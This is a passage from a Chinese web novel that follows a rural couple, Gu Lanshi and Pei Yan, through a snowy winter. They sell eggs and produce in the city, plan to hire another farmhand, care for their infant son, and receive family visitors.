裴厌把剩下的几个竹筐拎起,说:“吃了,在府城吃的,一个杂卤摊子,要了碗杂卤,有杂卤肉的那种,带两个烤饼子,花了二十五文。” 知道他饭量,顾兰时又问:“饱了?没饱的话我现在就起锅,正好把这几个鸡蛋摊成蛋饼子。” 裴厌顿足想了一下,笑道:“算了,我啃几块糕点就成,蛋饼留着晚饭吃,不然现在做了,我吃不完,到饭时就凉了,那杂卤汤贵,是大碗的,我还续了一碗热汤,没要钱,吃完才往回赶,不是很饿。” 顾兰时点点头:“也好,梅花糕多呢,还有杏脯。” 把院里东西都收好以后,雪花和雪粒渐渐大了。 看见刘大鹅从后院出来,他刚才进去栓了驴,顾兰时想一下,拿出四个鸡蛋放在另一个碗里,递给裴厌。 裴厌心领神会,开口道:“刘哥,这几个鸡蛋虽然碰裂,还能吃,趁雪没下大,你送回去。” “好好。”刘大鹅搓了搓手,满眼都是感激,接过碗后急匆匆往外走。 他今年夏天抓蝎子赚了一两多将近二两银子,他很谨慎,俗话说就是胆子小,没有往山里头走,就是在土沟和山脚下的沟壑中寻找,不像裴厌和顾兰瑜,敢进山在山沟里找毒虫,各自挣了三两多,却已经很满足。 家里日子好过了许多,他和夫郎都商量好了,今年过年扯一块布,给两个孩子都做双新鞋穿,还能给小枣儿买两根红头绳。 他家穷,连娃娃也灰头土脸的,今年过年总算能打扮打扮。 * 屋子里,星星刚睡醒,被爹爹抱着,睁着一双大眼睛看向一脸喜意数钱的阿姆。 裴厌抱儿子很熟练,星星在他怀里不哭不闹,他在儿子肉脸蛋上亲一口,逗得星星咧嘴笑起来。 这是和顾兰时学的,一开始还有点生疏,如今抱着儿子就是一口,他还好,顾兰时有时候还会轻轻咬儿子小手小脸蛋一口,那叫一个稀罕。 裴厌抓着儿子小胳膊轻轻晃几下,笑着说:“今天鸡蛋没有在镇上散卖,来福酒楼二百二十个,按二百个算,是一两,同春酒馆少,一百一十个,五钱。” 这就有一两五钱了,顾兰时捧着白花花的碎银子在手里,笑得见牙不见眼。 裴厌又说:“余下的拉去府城,花二哥要了二百,六文一个,一两二钱,那一篮子干菜也给他了,他说正好,和厨房里的人吃酒能用上。” 那是顾兰时让带的,有笋干葫芦条干子什么的,自家晒的干菜,又不值钱,冬天了,想必府城也没多少鲜菜吃。 “我又上金兰巷去了一趟,正好赶上两家鸡蛋没了,婆子和妈子出来,一家要了六十个,是七文钱,卖了八钱四十文,再零散着卖了三十六个,应该有二百五十二文。” “至于干菜,别的还好,像马齿菜这些,府城和镇上的价一样,不值钱,就靠斤数撑着,遇到一家买的多的,我给多抓了两把。” 今天带的鸡蛋很多,将近七百个,攒了一段时日,总算都卖出去了,以后就只有鸡屋里的三十只母鸡下蛋。 不过凡事说不准,天气好时,偶尔也能在鸡圈里捡到几个,那就跟捡了宝一样,真真稀罕事。 蛋筐大大小小带了十一个左右,板车就那么些地方,紧凑再塞了几筐干菜和半筐萝卜十几棵大菘菜。 裴厌给儿子摇了摇拨浪鼓,又道:“菜加上几辫子大蒜,卖了三百文左右,我想着今年多了刘哥吃饭,后边再卖一两回,余下的都留着,离开春野菜发上来还早,家里的口粮多点都不要紧。” “嗯。”顾兰时点头赞同,认真听完才开始数钱。 裴厌不再说话,数钱是大事,尤其对顾兰时来说,不好打搅。 碎银子有三两五钱,铜板五百九十个,抹去零头的话,今天挣了四两。 顾兰时满足地长叹一声,说:“初秋以后,一百只母鸡下蛋,咱们都赚了十几两了,还是养鸡好。” 尝到了甜头,累都不算什么了。 拨浪鼓咚咚咚响,星星盯着看,时而乐得笑一声,裴厌抱着儿子在炕沿坐下,说:“等后边闲了,我和刘哥再把东边猪圈前收拾收拾,明年开春后再养一批小鸡,母鸡还是头一两年下蛋厉害。” “嗯。”顾兰时欢快点头,这是早就商量好的,但每提一次,心里还是高兴。 他把钱袋里的碎银子都倒出来,数了数,加上今天的碎银,一共十三两八钱。 铜板不用说,卖菜多半给的都是,一串串都是一百文的整钱,约莫有三四两,乡下吃用,铜子儿用的最多。 只这些,就够大半年好吃好喝了,稍微俭省点,一年说不定就够了。 把钱放好,顾兰时心里很踏实,锁好箱子后,他接过裴厌手里的拨浪鼓,摇给星星听,说:“明年再养小鸡的话,老母鸡五十几只,卖掉之前照样得喂,打草更多了。” “正好,外头下雪,你哄星星玩儿,我做个布兜子,明年星星大一点,就能背出去干活了。” 他说干就干,又把拨浪鼓塞进裴厌手里。 咚咚咚—— 裴厌摇的慢了,明显在想事情,星星伸手去抓拨浪鼓,他手小小的,裴厌只好把木柄塞进他肉乎乎的手里,顺便帮忙扶着。 “要不,明年再请个长工。” 顾兰时刚找出两块布,正寻思是要亮一点的还是深一点的,绣上虎头就更好了,带子也得绣点花样,包孩子呢,反正冬闲活少,弄漂亮点。 闻言他抬起头,眼神有点疑惑,家里不是有长工了吗。 裴厌不紧不慢说道:“有星星了,以后多张嘴吃饭,我想再买两亩地,最好是旱田,麦子和柴豆一年能种两茬,多收一样口粮。” “这样就有六亩地,还要养猪养鸡,多个长工的话,打草和田里的活有人,我在家里照管菜地,也不怕人家来了没地方住,都是汉子,和刘大鹅睡在西屋就成。” “至于你和孩子,挖挖野菜就成,偶尔出去打个草,不必太劳累。” 裴厌见顾兰时一副思索的模样,笑着又说:“一个长工就算一个月二钱,一年不过二两四钱,多养一头猪的事。” “明年要是真请两个长工,养十头猪也不成问题,这不就相抵了。” 今年十一二头猪裴厌打草很累,以后多个劳力的话,好像确实不错,只不过明年多两亩地和四五十只鸡仔。 顾兰时渐渐被说服,犹豫着开口:“听起来是挺好的,对了,刘哥明年的工钱给涨吗?” 裴厌说:“他干的不错,挺尽心的,涨三十文吧,从明年二月起,一个月一百八十文。” 长工要是干得好,第二年涨二三十文不是什么稀罕事,人家是来卖劳力的,就指着工钱涨一涨,心里多少有个盼望。 他俩不是什么大户,在乡下请两个长工确实多了点,怕顾兰时反悔,裴厌趁热打铁,又说:“两个长工的话,我在家里管菜地,都不用阿奶喊老太太老夫郎过来浇菜上肥,我一人就包揽了,还能歇一歇,往府城跑的话,也不怕耽误田里的活。” 一听能歇歇,顾兰时立刻心动了,夏天裴厌晚上还要去抓毒蝎摸知了,这样的话,白天就能少干点活。 他把手里的布展平放在炕上,说:“那好,再请一个人,回头多打听打听,还是得找个知根知底,本分老实的。” “这是自然。”裴厌笑着应道,这件事就算说定了。 第217章 初雪没下多久,竖日一早,只看见地上一层薄雪。狗爪印落在白雪上,蜿蜒着向前,如片片花朵。 鸡鸭还未从窝里出来,不然没扫过的雪地也会落下凌乱的鸡爪印和叶片状的鸭蹼印。 顾兰时从房里出来时,堂屋门已经开了,大黑摇着尾巴走进来。 冷意袭来,他轻轻吐一口气,就看见呼吸变白。天上依旧有阴云,不知道什么时候放晴。 裴厌正在院里扫雪,听动静,刘大鹅已经在灶房煮猪食了。 “汪——” 灰灰和灰仔在院门外奔跑,时而叫几声,也不知道它俩在吵什么。 “水热好了,我去给你舀。”裴厌将扫帚靠在灶房墙边。 “好。”顾兰时答应一声,刘大鹅在灶房,还是裴厌去较好,于是又转身,进屋打算拿鸡毛掸子出来,好把桌椅都扫扫。 不想大黑跟着他进来了,昂起脑袋,直直望向炕上。 谁养的狗谁了解,顾兰时笑着开口:“星星还没醒,等醒了才能抱下来。” 大黑不知道有没有听懂,尾巴垂在身后轻晃两下,依旧站在那里。 顾兰时没有管它,拿了鸡毛掸子扫扫这边,又掸掸那里,他动作很快,家里天天都扫洒,没有多少灰尘。 裴厌端了一盆洗脸水和一碗漱口水,进来说:“掺好了。” “行。”顾兰时手下不停:“你先放那儿,我扫完就洗。” 裴厌把木盆放在架子上,给他把水碗放在桌上,问道:“今天炖骨头吃?没什么活干,我今天不出去,想歇歇,不是还有半坛子酒,上回打的没喝完。” 顾兰时笑:“好,那你等会儿去清水村,看刘信有没有杀猪,多买几根骨头,对了,再买几块豆腐,用猪油煎豆腐吃,撒些辣子粉,更香。” “好。”裴厌答应一声,又出去扫雪了,这会子还早,杀猪的不一定开门。 顾兰时放下鸡毛掸子,看见大黑从房里出来,笑着说:“没等到吧,都跟你说了,等醒了再看。” 奶娃娃睡觉最忌随便弄醒,大人睡得正香,突然被喊醒都有脾气,更别说小孩。之前一次不小心把星星吵醒了,哭得那叫一个声音大,连灰仔都嫌吵,趴在堂屋角落用爪子捂着耳朵。 一日之计在于晨,对庄稼人来说,早起就得干活。三个人说闲也都闲不下来,各自都有事情做。 等喂完家里大大小小的牲口禽畜后,圈棚也都铲过,刘大鹅才堪堪歇下,如今冬闲,不用去田里也不用出门打草,只要喂好牲禽就行。他向来勤快踏实,这些活自然一手包揽了,没有让东家去干。 裴厌扫了雪,又看了看埋在菜地里的萝卜,用旧席子稻草盖起来,还覆了一层土。他掀起席子一角,从中扒拉出来两根大萝卜,晌午炖骨头时顺便煮了,不吃点菜不行,冬天吃萝卜也好。 想起什么,他拎着萝卜往灶房走,说:“改天太阳好了,晒点萝卜干腌一小坛,正好有个小酒坛,上回喝完我洗了,就放在新杂屋里。” 今年秋天忙,顾兰时当时有身孕,没让干太多活,腌萝卜的事也给忘了。 “行。”顾兰时听见孩子哭声,连忙往屋里跑,大黑也跟着进去。 小星星刚睡醒,还有点懵懵的,等撒完尿,见大狗围过来,他才揉着眼睛笑了。 顾兰时给儿子包好尿布,便喊裴厌倒夜壶,自己抱着孩子在屋里玩耍。这样的活向来是裴厌做,他早已习惯。 “星星看见大黑了,是不是。”顾兰时抱着孩子逗。 大黑靠近,谨慎地用鼻尖在星星穿了小袜子的小脚上嗅嗅,像是在熟悉味道。 星星小嘴巴咧着,一直在笑,看见大狗很高兴。 顾兰时其实不知道他在高兴什么,但儿子一笑,他也忍不住笑起来,于是抱着孩子和大黑玩耍。 不知什么时候,灰灰和灰仔也跑进来,它俩一进来,屋里顿时变得嘈杂,狗叫声哼唧声不断传来。 星星太小了,对大狗实际没有任何认知,只要熟悉的人抱着他,就以为是在玩。 没多久,太阳从阴云遮挡中露出一点光,不是很暖和,见天有放晴的迹象,裴厌就放心了,进屋拿了钱去买肉。 * 大锅里咕嘟咕嘟滚开,肉汤飘香,里面萝卜块已经煮的软而透明。 顾兰时大勺一舀,先把透软的萝卜块子悉数捞进汤盆和刘大鹅的大碗里,随后又用一个深口陶罐,捞了几根没剁的肉骨头进去,添了肉汤,让裴厌提进堂屋,放在燃着的泥炉上。 刘大鹅向来不和他俩一起吃饭,想想对方一个人没有拘束,也痛快,于是他朝外喊道:“刘哥,锅里还有骨头,你就在灶前吃,灶膛里有火,坐在这儿也暖和。” “知道了。”刘大鹅答应一声。 等顾兰时端着碗筷离开之后,他才进去。 裴厌不是吝啬的性格,给刘大鹅倒了一碗酒,让他在灶房喝酒吃肉。 一大碗肉汤和萝卜块,香的什么似的,锅里还有两根带肉的排骨,浊酒虽粗,刘大鹅一年到头却喝不了几次,他小口抿一下,黝黑朴实的脸上浮现出一丝满足、感激。 以前只有过年过节才能在主家喝酒吃肉,裴厌和顾兰时心好,吃什么都会给他分一点。 其实不止对人,想起刚才裴厌给狗食盆里倒的东西,他眼尾褶皱聚在一起,忍不住笑了下,狗也吃的是肉汤和萝卜块,泡了糙馒头,全都埋头狼吞虎咽。 说起来,这三只大狗,比一些人吃得好多了,他干了大半年,一开始看着给狗喂鸡蛋喂肉,又是心疼东西又是羡慕。 如今连他家里也沾了不少光,就没那么羡慕狗了。 堂屋,陶罐放在泥炉上,用小火煨着,里头的肉汤始终都是热的。 裴厌喝一口酒,就捞了根排骨在手里吃。 顾兰时也是如此,上回的梅子酒还剩一些,他倒了半碗,酸酸甜甜的,酒气不是很重,配肉骨头正好。 星星睡觉了,不用哄孩子,两人心满意足,慢慢喝酒吃肉,时而说两句闲话,一点都不着急。 “这梅子酒好喝。”顾兰时喝完半碗,又吃了肉,没一会儿脸颊浮现胭脂般的红色,只觉浑身暖洋洋的。 裴厌咽下嘴里的肉,笑问道:“下回去府城,再买一坛,那家酒坊还有山楂酒和桑酒,山楂酒偏酸,桑果子酒偏甜,你想喝那种?” 顾兰时想一下,说:“山楂酒,酸酸的,肯定开胃不醉人。” “要不两种都买上一坛,都尝尝。”裴厌说道。 “好。”顾兰时又给自己倒半碗,笑着端起碗,示意他碰一下。 裴厌脸上笑容一下子变大,端碗轻撞响,一高兴仰头就喝完了。 第218章 寒冷让人心生畏惧,暗沉沉的天,鹅毛大雪簌簌而落,时而有风声呼嚎,却吹不动落满树枝和屋顶的厚雪。 泥炉中,正燃烧的柴火噼啪轻响,火光轻晃,炉上陶罐冒着热气。旁边桌上的茶壶被掀开盖子,小葫芦瓢舀出一瓢滚水,倒进茶壶之中。 端起轻晃一晃,红色茶汤在壶中渐渐漾开。 顾兰时盖好茶壶盖子,笑着倒了两碗茶,说:“这茶汤颜色亮,味儿也浓。” 炕上,裴厌半靠半躺在炕头,星星趴在他胸口,咧着乳牙还没长出来的小嘴巴笑。 “回头再买点别的好茶叶尝尝看。”裴厌忙着和孩子玩,没忘了搭腔。 见星星侧了侧脸,肉脸蛋紧贴着他胸口,小手动了动,打了个小小的哈欠,一副想睡觉的模样,他眼中笑意浮现,一动不动,怕打搅了儿子入睡。 有孩子了,怕天太冷冻着星星,白天炕也烧得热乎乎。 见星星小脸蛋蹭蹭爹爹的衣裳,找了个舒坦的姿势,随后闭上了眼睛,顾兰时把开了一条缝隙的房门关好。 想起什么,他拿起箱盖上放着的毛皮手套,戴上后把陶罐还有泥炉提起来,拎到门外堂屋,朝西边屋子喊:“刘哥,陶罐里的水开了,你自己倒茶喝。” 听见一声答应,他回身进屋,又把房门关好。 家里只有一个泥炉,雪下的这样大,去灶房烧水不方便。刚才给星星热乳果,就把炉子和陶罐拎进了屋里。 放在堂屋的话,两边都好去舀水。 摘掉手套,顾兰时转头就看见星星听见动静又睁开眼睛,像是困极了,又打个小哈欠。 “不睡啦?”他笑着轻声说一句,星星听见阿姆熟悉的声音笑了,小手揉着眼睛神色困倦。 “拍拍。”顾兰时对裴厌说一句。 裴厌很熟练,扯过孩子的小被子给盖好后,大手在星星后背一下一下轻拍,低声道:“等再去镇上,买一匹红布和一匹深荷绿的,给星星做衣裳和肚兜穿。” “到明年夏天,肯定又长大一些,老穿要来的旧衣也不行,嫂嫂姐姐那边,也有要留给后边孩子的,咱们自己做几件,以后再有老二,正好捡星星的衣裳穿。” 孩子就是要穿鲜亮的颜色,给星星做新衣裳,顾兰时肯定舍得,点着头说:“那再买一匹鹅黄的,无论收边还是做衣裤,正适合奶娃娃,不会出错。” “好。”裴厌应道,想了下抬眸又问:“给你买一匹青蓝的?做身衣裳,过年好穿。” 顾兰时坐在炕沿,端起茶碗喝一口热茶,笑道:“不了,我那几身冬衣都还新着呢。” 衣裳只要没有补丁,洗干净后和新的有什么差别? “家里那些棉花,明年还要给星星做几身冬衣。”顾兰时说着,见孩子睡踏实了,于是轻轻抱起,放在热炕里侧,盖好被子让去睡。 星星没有被惊醒,依旧睡得香甜。 “比顾满顾安小时候好带多了,没给咱俩找麻烦。”顾兰时笑着夸道,越看儿子越觉得乖巧招人疼。 裴厌下了炕,尝一口热茶,微涩,后味却觉口齿留香,说:“确实不错。” 这是上次在府城买的好茶叶,今天头一回沏,等过年时,来客都给尝尝看。 外头风声不绝,光线越来越暗,似乎在酝酿更大的风雪。 顾兰时和裴厌喝一会儿茶,又不做什么,因此没有点灯。 热炕温暖,两人挤靠在一起,腿上盖着棉被。 依偎在熟悉的胸膛上,顾兰时有点无聊,抓着裴厌手掌数手指。裴厌的手比他大,身架也比他大,也不知道怎么长得,个头这样高。 想起刚才裴厌说的话,他抬头,额头蹭到男人下颌,笑着问道:“你想要几个孩子?” 裴厌抱着夫郎在怀里,不知不觉有些浮躁,他嗓子发紧,另一只空闲的手渐渐控制不住,突然听到这一句,他喉结微动,认真想了下,说:“三个。” 两个太少,四五个好像又太多,十几年都得围着刚出生的孩子打转,家里只有他和顾兰时,可能顾不过来,况且生一回就要受一回罪,太多肯定不行。 “三个?”顾兰时想了下,笑着说:“要是三个,两个哥哥,一个弟弟或妹妹,正正好。” “嗯。”裴厌也是如此想法,他顿了顿,问:“你呢?有没有想过生几个?” 顾兰时说:“我?我不知道,反正这事咱俩说了也不算,有几个是几个,养得起就行。” 他兄弟姐妹多,成亲后和裴厌只有两个人,三个孩子也好,五个孩子也罢,只要人丁兴旺就是好的。 热炕,夫郎在怀。 想生孩子,靠嘴上说是不行的。可只有自己知道,什么孩子不孩子,只是借口罢了。 裴厌低头,渐渐从顾兰时发顶吻到耳边和颈侧。 顾兰时觉得痒痒的,没忍住轻笑出了声,侧头避了避,一手覆在裴厌脸颊上,想轻轻推开。 不想忽然一对视,他看出裴厌眼中的渴求,那双星眸染上不一样的情绪,深而暗浊,呼吸也变了,涌出心底最直白灼热的念头。 顾兰时手一顿。 彼此之间太过熟悉,又过于契合,他垂眸避开热烈的视线,便是一种默许。 门窗紧紧关着,隐忍压抑的动静分毫没有泄露出去。 再从被子里钻出来,顾兰时发丝微乱,明显热到打湿了。 他伸出胳膊,试图凉快凉快,压抑着轻轻喘气。尽管没有真正行房,依然难耐。 很快,被子底下又有了动静,他胸膛起伏,生生咬住唇,望向屋顶的眼神渐渐涣散。 * 院子里,裴厌和刘大鹅往车上搬竹筐,毛驴打个响鼻,脑袋晃了晃,随后又在原地站定,默默等待着,温驯极了。 鸡蛋攒了两百多个,留了一些在家里,车上三个蛋筐和两个菜筐以及一篮子山核桃放好以后,顾兰时把荷包递过去,说:“饿了就吃点热的,馄饨杂卤都行。” 天冷,吃了肉身上才暖和。 裴厌把荷包塞进怀里,答应一声,就和刘大鹅出门了。 路上积雪未化,有的地段经常过人,变得坎坷泥泞,车辙印很深,送鸡蛋他向来是牵着毛驴走,多个人跟在旁边,遇到难走的地方好帮忙推车扶蛋筐。 顾兰时看着他俩出门以后,回到堂屋给火盆添了柴火,坐在旁边继续编竹筐。 院里小菜地有雪,待在外头没一会儿,腿脚就冻得冰凉,还是屋子里面舒坦。 星星睡着了,奶娃娃一天到晚除了吃就是睡,玩耍的时候少,他娘说能吃能睡不闹人才长个头。 大黑独占泥炉前的火在烤,灰灰和灰仔挤在火盆前,它俩在雪地里跑过,这会子一烤火,爪子和腿上的毛毛变湿。 “呜——” 灰灰从喉咙里发出低低的嚎叫。 顾兰时瞅它一眼,见两只都盯着火盆,想起之前往里面放野薯的时候被它俩看见,没忍住骂道:“一天到晚就知道吃。” 随即又被歪着脑袋看他的灰灰气笑了,拿了根木柴扒拉,从盆地拨出几块烤黑了的野薯。 野薯在地上滚了两圈,冒着热气,灰仔上前嗅闻,太烫了,它意识到危险,噌一下鼻子往后缩。 顾兰时笑瞪它一眼,说:“等着,晾一晾再吃。” 他用木柴把几个野薯拨弄到一起,随后又忙手里的活。 早起灰灰太调皮,看见他抱着星星出来,一下子扑到他身上,又脏又黑的爪子弄脏了他裤面,幸好孩子抱得高,襁褓没有被弄脏。 他腿上裤子是新换的一条,因为这件事,不免就有点生灰灰的气。 灰灰也知道闯了祸,看见他总是谄媚咧嘴笑,耳朵也往后折,还躺在地上翻出肚皮给他看,平时肚皮上的软毛都不乐意让摸,总是顾兰时打一巴掌才乖,今天真真一副卑颜屈膝的模样。 大黑十分稳重,它知道,野薯肯定有它吃的,一点都不见猴急嘴馋,只是偶尔会瞥一眼那堆烤熟的野薯。 过了一会儿,顾兰时拿起一个野薯,手指立即就沾黑了,他没在意,掰开见里头熟透了,白色的瓤子冒着热气,他自己剥掉外面烤黑的野薯皮,吹一吹,吃了一口,微甜软糯,味道淡淡的。 “晾一下。”他给狗都掰开,放在地上。 没有让吃,三只都有点着急,闻一闻发现野薯瓤子有点烫,便仰头嗷嗷叫几声,爪子也在地上抓了抓。 顾兰时优哉游哉吃完一个野薯,见地上掰开的晾温了,他扔掉手里的野薯皮在炭盆里烧:“吃吧。” 仿佛听到不得了的命令,狗大口吞吃,生怕比其他狗少吃一点。 “没出息。”顾兰时摇摇头,养了这几年,一顿都没少过他们的,总一副饿死鬼托生的模样。 骂归骂,有狗在家陪着很安心。 而另一边,裴厌和刘大鹅一路到了府城,径直奔向郑宅后巷子。 今天带的两百个鸡蛋花成方都要了,一个还是按十五文,比宁水镇贵得多。 进城门后裴厌撞见两个卖鸡蛋的汉子,问了一嘴,一个提了竹篮,被风吹起上面盖的布,因此被他看见了鸡蛋,对方不愿说,径直往一户高门楼走,显然是过去送的。 另一个背竹筐吆喝叫卖的汉子要价十四文,还说已经算便宜的,旁边听见的人直咂舌,寻常人家谁吃得起。 裴厌和刘大鹅往前走了没一段,就听见后头有人喊那个卖鸡蛋的,他回头一看,采买的人穿着长衫戴着帽子,显然有点儿身份,说不定是哪家的管事。 这时候的鸡蛋显然是稀罕东西,一旦出现,也总是有钱人买去。 郑宅后门处,贵子喊来了花成方。 花成方不知怎么很高兴,一听二百枚,痛痛快快给了三两,那些碰破的十来个鸡蛋他看都没看,隆冬时节,有烂鸡蛋吃都是稀罕的,拿去厨房估计立马就做了,谁还挑拣。 他早起吃了些酒,许是酒意上头,非拉着裴厌去酒馆坐坐,说什么搭伙做生意,本该就请吃酒,顺便也捎带上了刘大鹅。 车上没有鸡蛋束手束脚,裴厌一想,菜和山核桃回头再卖不迟,就没推拒。 三人进了酒馆,裴厌让伙计帮忙把菜筐和竹篮卸下放在桌子旁,省得外头有人路过顺手牵羊。 坐下后,花成方要了两坛酒和几样菜,喝着喝着,见是自己人,不免多说了两句。 原来他能卖给府里十六文,两百个鸡蛋,原本按外头市价十四文的话,他能赚四钱,不过还是多给裴厌算了。 因为那二钱对他来说其实不算什么了,冬天鸡蛋实在稀缺,各宅各府都在踅摸,稍有个零散鸡蛋,早就被消息灵通的收走了,高价都无所谓。 他一个小管事,却能在冬天寻来一百二百鸡蛋,数目大,还接连供了两三回,因此就算要价高一点,府里也没人置喙,这么多鸡蛋,不稳住蛋户,人家早卖去别家了。 连那几个大管事都没有这样的本事,他好生露了一把脸,心中实在是得意。 当初因不知道裴厌那边冬天能有多少鸡蛋,花成方谨慎,怕打了脸,入冬后才和厨房那边道了声,说自己手里有蛋源。 原本是他求人收鸡蛋,如今变成了厨房有求于他,一下子倒转过来,变成了厨子请他吃酒。 上次裴厌来送鸡蛋,正巧碰上府里的太太小姐想吃鸡蛋羹,搁平时,鸡蛋对高门大户的人来说是不值钱的小玩意儿,一入冬,东西缺了,想吃却变难得,那一口就显得分外香。 和寒冬难以寻到的菜蔬一样,谁家能弄到昂贵的鲜韭鲜菜,不经意提起,是种隐晦的炫耀。 来客招待,饭席有鸡蛋浇头和点缀,一眼就能看到。 上头的人吃好吃高兴了,还问一声鸡蛋哪里来的,今冬没怎么断过,花成方的名字自然被提起。 裴厌听着,和花成方碰一下酒盅,脸上带了笑意,原来如此。虽说花成方有自己的算盘,也掩盖不了自己靠对方赚了一笔的事实,这半个月攒了二百鸡蛋,就得了三两,比之前他和顾兰时估算的多。 花成方酒意上了头,脖子和脸都是红的。 刘大鹅在旁边浅酌一盅,偶尔夹一筷子菜吃,能跟着沾光上桌就不错了,他一声都没吭,自己嘴笨,恭维奉承的话都不会说,因此只当自己是哑巴,不出声就不会出错。 花成方舌头有点大了,拍着裴厌肩膀说:“你放心,只要有二哥一口肉,绝少不了你的。” “那就多谢二哥了。”裴厌笑着,顺他的话接道。 酒馆里人不算少,多半都是爷们在喝酒吹牛,时而高声嚷几句,也挺热闹的。 第219章 难得的晴天,碧蓝天幕上偶尔飘过几片白云,土墙角落里,避开风口,顾兰时在缝衣裳。针线密而直,十分用心。 雪水融化,大地从泥泞又渐渐变干,冬天总是这样。 三只狗分散在院里院外,各自找了地方趴着晒太阳,懒洋洋动也不动。 灰仔晒久了打个哈欠,眼睛都睁不开,随后脑袋一耷拉,又趴在前爪上,一副昏昏欲睡的模样,它毛发蓬松柔软,在太阳底下越发有光泽。 屋檐下,裴厌坐在高凳上,手里捧了一吊猪肉,他面前的泥炉取下了陶罐,火苗从上方窜出来,烧灼猪皮上没弄干净的细毛。 天冷,不吃肉不行,昨天听说刘信在家卖肉,今天一早就买了回来。 裴厌一边烧猪毛一边说:“再过几天,进了腊月就喊刘信来杀猪,要是吃不到年节,过年时岳丈和叔伯那边要是杀了猪,过去买十来斤就足够了。” “行。”顾兰时没抬头,吃肉啃骨头惯了,要是几天不见点荤腥,还怪馋的。 他还好,裴厌不是干重活就是赶远路去府城,年轻胃口本来就好,要是没点油水撑着,饿不说,很容易累到冷到。 烧完后又仔细查看一遍,见没有猪毛残存,裴厌这才把猪肉放进灶房,出来说道:“我这就收拾,去山上转转。” 顾兰时抽出针尾的线,抬头看他:“布手套戴上,别光着手抓。” “嗯,我知道。”裴厌应一声,就去柴房拿了几样家伙什。 他出门之后,顾兰时独自在家,没听见孩子醒了的动静,照旧坐在那儿缝衣裳。 刘大鹅早起喂了牲禽后告假回家去了,柴火昨天他劈了许多,粗的细的都有,整整齐齐摞在一起。 因想着家里柴火估计不多了,他想回去砍些柴火,说傍晚之前就能过来,晌午喂猪他赶不上,但天黑前肯定能赶上。 在这边干活还不满一年,他发现裴厌其实挺好说话的,和外头那些传言很不相同,自己该干的活干完,偶尔告个假回家,裴厌都会点头准许,从没斥责过。 听见鸡屋里的母鸡咯咯哒叫,顾兰时抬头揉揉脖子,心想估计下蛋了。 还没起身,狗吠了几声,听见大嫂的声音,他连忙放下针线往外走。 “大嫂子,二嫂子。”他笑着喊,又轻喝一声,不让狗乱叫,转身进堂屋搬椅子和小桌。 认得是熟人,大黑几个又趴回去。 张春花带着顾安,李月抱着小锁儿,妯娌两个在家没事做,干脆来后山转转。 五岁的顾安嘴巴很甜,见到顾兰时就喊:“小嬷!” “哎!”顾兰时笑眯眯的,把手里端出来的果脯碟子放低,让他抓一把。 顾安高兴极了,抓一把杏脯,心里美美的。 小锁儿才两岁多,走路倒是稳了,但很多东西吃不了,看见哥哥嘴巴在动,他伸着小手也要来抓杏脯。 李月一把捞起儿子抱在怀里,在小锁儿哭闹之前哄道:“来,娘给你拿糕糕吃。” 杏脯酸甜,听人说太小的娃娃吃多容易坏牙,再说了,小锁儿那小牙,也咬不烂,顶多在嘴里咂咂味儿,要是囫囵咽下去,怕克化不动。 桌上一碟杏脯一碟梅花糕,顾兰时又提出来一小篮山核桃还有熟栗子,新沏了一壶茶,笑道:“上回裴厌在府城买的新茶叶,尝尝,不错呢。” 张春花坐下,端起茶碗吹了吹,说:“闻着就香。” 李月抱着小锁儿坐下,小锁儿小手抓着梅花糕咬一口,又低头看一眼手里的花状糕点,似乎很好奇。 “星星睡了?”李月问道。 顾兰时说:“半个时辰前吃过乳果睡了,刚进去看,还没醒呢。” 他又问:“顾衡跟着上学去了?” “可不是。”李月笑道:“一大早满儿就过去喊,我忙着哄小锁儿,一时忙乱头竟忘了喊,你二哥一大早就走了,不在家,顾衡起迟了,急吼吼的,饭也顾不得吃,给带了两块米糕在路上啃。” 今年顾满九岁,顾衡八岁,顾满去年冬天就到白水村私塾中念书,今年顾衡也去了,兄弟俩路上还有个伴儿。 乡下私塾少,白水村离他们这儿有点远,是周围唯一的学堂。 两个教书先生在附近几个村子很有名,花家村那个秀才就是老先生的门生,因此还有其他地方的学子来求学。 尽管束脩不算很多,乡下孩子能去念书识字的还是少,顾兰时去年听顾满说过,人多时才二十几个。 两家都不求儿子能考什么功名,认几个字就成,就像狗儿那样,能写契认契,出了门去镇上去府城,看见那些挂的幌子牌匾,就知道是做什么的。 等以后大了,能打算盘写账本,说不定还能做个轻巧活,当然这都是想想,瞎想又不要钱,还能乐一乐。 顾兰生想的就更多了,花家村的秀才和花家有点远亲关系在,去年顾满上学堂,他暗暗想过,万一他家满儿是这块料子,那他岂不是能当顾秀才的爹了。 然而在跑了几趟私塾,恭敬询问先生顾满功课时,对顾满勤奋上进这一点,先生大加夸赞,两三回后,他总算听出来自己儿子怕是没有天赋,总算打消了念头。 不过先生的夸赞似乎并不作伪,顾满有一次回家浑身的土,手还被咬了,一问是和同窗打架了,那个小孩因先生夸了顾满勤勉好学,心生不满,于是放学路上同顾满打了起来。 顾满被推搡时很莫名其妙,他不知道自己哪里惹到了对方,但反应过来后根本不带怯的。 他是顾铁山和苗秋莲第一个孙子,头一个孩子总是会吸引很多目光,他小时候爷爷奶奶惯完叔叔姑姑小嬷惯,本来就是小孩子气性,调皮得很,在他们小河村也会和同龄人打架,便和那个同窗厮打了一番,将对方打哭才气昂昂回来,尽管自己也狼狈。 好在七八岁小汉子打架下不了什么狠手,两个受的那点皮外伤和蹭破了没啥区别,而且一打哭就分开了。大人听完,只觉无奈又好笑,乡下小孩打架太常见了,没有放在心上。 顾兰时从二嫂怀里抱过小锁儿,让他坐在自己腿上,笑眯眯轻捏一下小锁儿肉肉的脸蛋。 顾安吃着杏脯,还抓两个栗子,让他娘给他剥。 张春花剥栗子顺嘴问:“裴厌不在家?” “上山抓蛇去了。”顾兰时吧唧在小锁儿脸蛋上亲一口,只觉小侄儿圆乎乎的。 李月和张春花同时停下剥栗子的手看向他,李月轻嘶一声,笑道:“咱们家的汉子,就数裴厌胆子最大了,你二哥倒是不怕蛇,去年夏天在柴房发现一条花花蛇,他用棍子挑出去了。” “我还问他要不要上山抓蛇卖点钱,他想了一宿,最后跟我说万一蛇抓回来在家里乱爬,他心里难受,估计到时都睡不着,我一听鸡皮疙瘩也起来了,连忙让他打住。” 李月话音刚落,就意识到自己说得太快了,都没过脑,便有点讪讪的,笑着去看顾兰时。 “嗐,扎紧袋口不就好了,那是兰河胆子太小。”张春花在旁边打圆场。 李月忙道:“可不是,成天跟我说他胆子最大,实际就是个花架子。” 